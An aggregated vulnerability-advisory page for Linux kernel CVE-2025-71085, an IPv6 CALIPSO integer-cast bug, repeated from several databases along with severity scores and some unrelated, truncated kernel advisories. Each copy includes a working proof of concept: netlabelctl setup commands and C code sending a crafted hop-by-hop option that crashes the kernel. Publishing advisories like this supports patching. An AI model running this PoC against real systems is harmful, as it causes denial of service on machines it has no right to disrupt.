CVE-2025-71085

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

7.5 HighFix available

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: None
Availability: High

Exploit likelihood

0.30%Up 0.3 points since Jan 14, 2026

What each source reports

CVE List Score used 7.5

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);

Record: CVE-2025-71085
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-190
Updated: 2026-11-02

EUVDEUVD-2026-2249 7.5

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);

Record: EUVD-2026-2249
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

GitHub AdvisoriesGHSA-hjpx-f2r6-rr4q 5.5

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in...

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);

Record: GHSA-hjpx-f2r6-rr4q
CVSS 3.1: 5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-190, CWE-617
Updated: 2026-11-02

NVD 7.5

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);

Record: CVE-2025-71085
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1: 5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-617, CWE-190
Updated: 2026-11-02

OSVBELL-CVE-2025-71085 5.5

Record: BELL-CVE-2025-71085
CVSS 3.1: 5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSV 7.5

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);

Record: CVE-2025-71085
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

Show 44 moreShow less

OSVDEBIAN-CVE-2025-71085 5.5

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using netlabelctl tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Record: DEBIAN-CVE-2025-71085
CVSS 3.1: 5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVOESA-2026-2580 9.8

kernel security update

The Linux Kernel, the operating system core itself.

Security Fix(es):

In the Linux kernel, the following vulnerability has been resolved:

iomap: Fix possible overflow condition in iomap_write_delalloc_scan

folio_next_index() returns an unsigned long value which left shifted by PAGE_SHIFT could possibly cause an overflow on 32-bit system. Instead use folio_pos(folio) + folio_size(folio), which does this correctly.(CVE-2023-54285)

In the Linux kernel, the following vulnerability has been resolved:

bcache: fix NULL pointer in cache_set_flush()

LINE#1794 - LINE#1887 is some codes about function of bch_cache_set_alloc().
LINE#2078 - LINE#2142 is some codes about function of register_cache_set().
register_cache_set() will call bch_cache_set_alloc() in LINE#2098.

1794 struct cache_set *bch_cache_set_alloc(struct cache_sb *sb) 1795 { ... 1860 if (!(c->devices = kcalloc(c->nr_uuids, sizeof(void *), GFP_KERNEL)) || 1861 mempool_init_slab_pool(&c->search, 32, bch_search_cache) || 1862 mempool_init_kmalloc_pool(&c->bio_meta, 2, 1863 sizeof(struct bbio) + sizeof(struct bio_vec) * 1864 bucket_pages(c)) || 1865 mempool_init_kmalloc_pool(&c->fill_iter, 1, iter_size) || 1866 bioset_init(&c->bio_split, 4, offsetof(struct bbio, bio), 1867 BIOSET_NEED_BVECS|BIOSET_NEED_RESCUER) || 1868 !(c->uuids = alloc_bucket_pages(GFP_KERNEL, c)) || 1869 !(c->moving_gc_wq = alloc_workqueue("bcache_gc", 1870 WQ_MEM_RECLAIM, 0)) || 1871 bch_journal_alloc(c) || 1872 bch_btree_cache_alloc(c) || 1873 bch_open_buckets_alloc(c) || 1874 bch_bset_sort_state_init(&c->sort, ilog2(c->btree_pages))) 1875 goto err; ^^^^^^^^ 1876 ... 1883 return c; 1884 err: 1885 bch_cache_set_unregister(c); ^^^^^^^^^^^^^^^^^^^^^^^^^^^ 1886 return NULL; 1887 } ... 2078 static const char *register_cache_set(struct cache *ca) 2079 { ... 2098 c = bch_cache_set_alloc(&ca->sb); 2099 if (!c) 2100 return err; ^^^^^^^^^^ ... 2128 ca->set = c; 2129 ca->set->cache[ca->sb.nr_this_dev] = ca; ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ... 2138 return NULL; 2139 err: 2140 bch_cache_set_unregister(c); 2141 return err; 2142 }

(1) If LINE#1860 - LINE#1874 is true, then do 'goto err'(LINE#1875) and call bch_cache_set_unregister()(LINE#1885). (2) As (1) return NULL(LINE#1886), LINE#2098 - LINE#2100 would return. (3) As (2) has returned, LINE#2128 - LINE#2129 would do not give the value to c->cache[], it means that c->cache[] is NULL.

LINE#1624 - LINE#1665 is some codes about function of cache_set_flush(). As (1), in LINE#1885 call bch_cache_set_unregister() ---> bch_cache_set_stop() ---> closure_queue() -.-> cache_set_flush() (as below LINE#1624)

1624 static void cache_set_flush(struct closure *cl) 1625 { ... 1654 for_each_cache(ca, c, i) 1655 if (ca->alloc_thread) ^^ 1656 kthread_stop(ca->alloc_thread); ... 1665 }

(4) In LINE#1655 ca is NULL(see (3)) in cache_set_flush() then the kernel crash occurred as below: [ 846.712887] bcache: register_cache() error drbd6: cannot allocate memory [ 846.713242] bcache: register_bcache() error : failed to register device [ 846.713336] bcache: cache_set_free() Cache set 2f84bdc1-498a-4f2f-98a7-01946bf54287 unregistered [ 846.713768] BUG: unable to handle kernel NULL pointer dereference at 00000000000009f8 [ 846.714790] PGD 0 P4D 0 [ 846.715129]…

Record: OESA-2026-2580
CVSS 3.1: 9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated: 2026-11-02

OSVOESA-2026-2675 9.8

kernel security update

The Linux Kernel, the operating system core itself.

Security Fix(es):

In the Linux kernel, the following vulnerability has been resolved:

drm/i915/gt: Fix timeline left held on VMA alloc error

The following error has been reported sporadically by CI when a test unbinds the i915 driver on a ring submission platform:

<4> [239.330153] ------------[ cut here ]------------ <4> [239.330166] i915 0000:00:02.0: [drm] drm_WARN_ON(dev_priv->mm.shrink_count) <4> [239.330196] WARNING: CPU: 1 PID: 18570 at drivers/gpu/drm/i915/i915_gem.c:1309 i915_gem_cleanup_early+0x13e/0x150 [i915] ... <4> [239.330640] RIP: 0010:i915_gem_cleanup_early+0x13e/0x150 [i915] ... <4> [239.330942] Call Trace: <4> [239.330944] <TASK> <4> [239.330949] i915_driver_late_release+0x2b/0xa0 [i915] <4> [239.331202] i915_driver_release+0x86/0xa0 [i915] <4> [239.331482] devm_drm_dev_init_release+0x61/0x90 <4> [239.331494] devm_action_release+0x15/0x30 <4> [239.331504] release_nodes+0x3d/0x120 <4> [239.331517] devres_release_all+0x96/0xd0 <4> [239.331533] device_unbind_cleanup+0x12/0x80 <4> [239.331543] device_release_driver_internal+0x23a/0x280 <4> [239.331550] ? bus_find_device+0xa5/0xe0 <4> [239.331563] device_driver_detach+0x14/0x20 ... <4> [357.719679] ---[ end trace 0000000000000000 ]---

If the test also unloads the i915 module then that's followed with:

<3> [357.787478] ============================================================================= <3> [357.788006] BUG i915_vma (Tainted: G U W N ): Objects remaining on __kmem_cache_shutdown() <3> [357.788031] ----------------------------------------------------------------------------- <3> [357.788204] Object 0xffff888109e7f480 @offset=29824 <3> [357.788670] Allocated in i915_vma_instance+0xee/0xc10 [i915] age=292729 cpu=4 pid=2244 <4> [357.788994] i915_vma_instance+0xee/0xc10 [i915] <4> [357.789290] init_status_page+0x7b/0x420 [i915] <4> [357.789532] intel_engines_init+0x1d8/0x980 [i915] <4> [357.789772] intel_gt_init+0x175/0x450 [i915] <4> [357.790014] i915_gem_init+0x113/0x340 [i915] <4> [357.790281] i915_driver_probe+0x847/0xed0 [i915] <4> [357.790504] i915_pci_probe+0xe6/0x220 [i915] ...

Closer analysis of CI results history has revealed a dependency of the error on a few IGT tests, namely:

igt@api_intel_allocator@fork-simple-stress-signal,
igt@api_intel_allocator@two-level-inception-interruptible,
igt@gem_linear_blits@interruptible,
igt@prime_mmap_coherency@ioctl-errors, which invisibly trigger the issue, then exhibited with first driver unbind attempt.

All of the above tests perform actions which are actively interrupted with signals. Further debugging has allowed to narrow that scope down to DRM_IOCTL_I915_GEM_EXECBUFFER2, and ring_context_alloc(), specific to ring submission, in particular.

If successful then that function, or its execlists or GuC submission equivalent, is supposed to be called only once per GEM context engine, followed by raise of a flag that prevents the function from being called again. The function is expected to unwind its internal errors itself, so it may be safely called once more after it returns an error.

In case of ring submission, the function first gets a reference to the engine's legacy timeline and then allocates a VMA. If the VMA allocation fails, e.g. when i915_vma_instance() called from inside is interrupted with a signal, then ring_context_alloc() fails, leaving the timeline held referenced. On next I915_GEM_EXECBUFFER2 IOCTL, another reference to the timeline is got, and only that last one is put on successful completion. As a consequence, the legacy timeline, with its underlying engine status page's VMA object, is still held and not released on driver unbind.

Get the legacy timeline only after successful allocation of the…

Record: OESA-2026-2675
CVSS 3.1: 9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated: 2026-11-02

OSVRHSA-2026:3488 7.5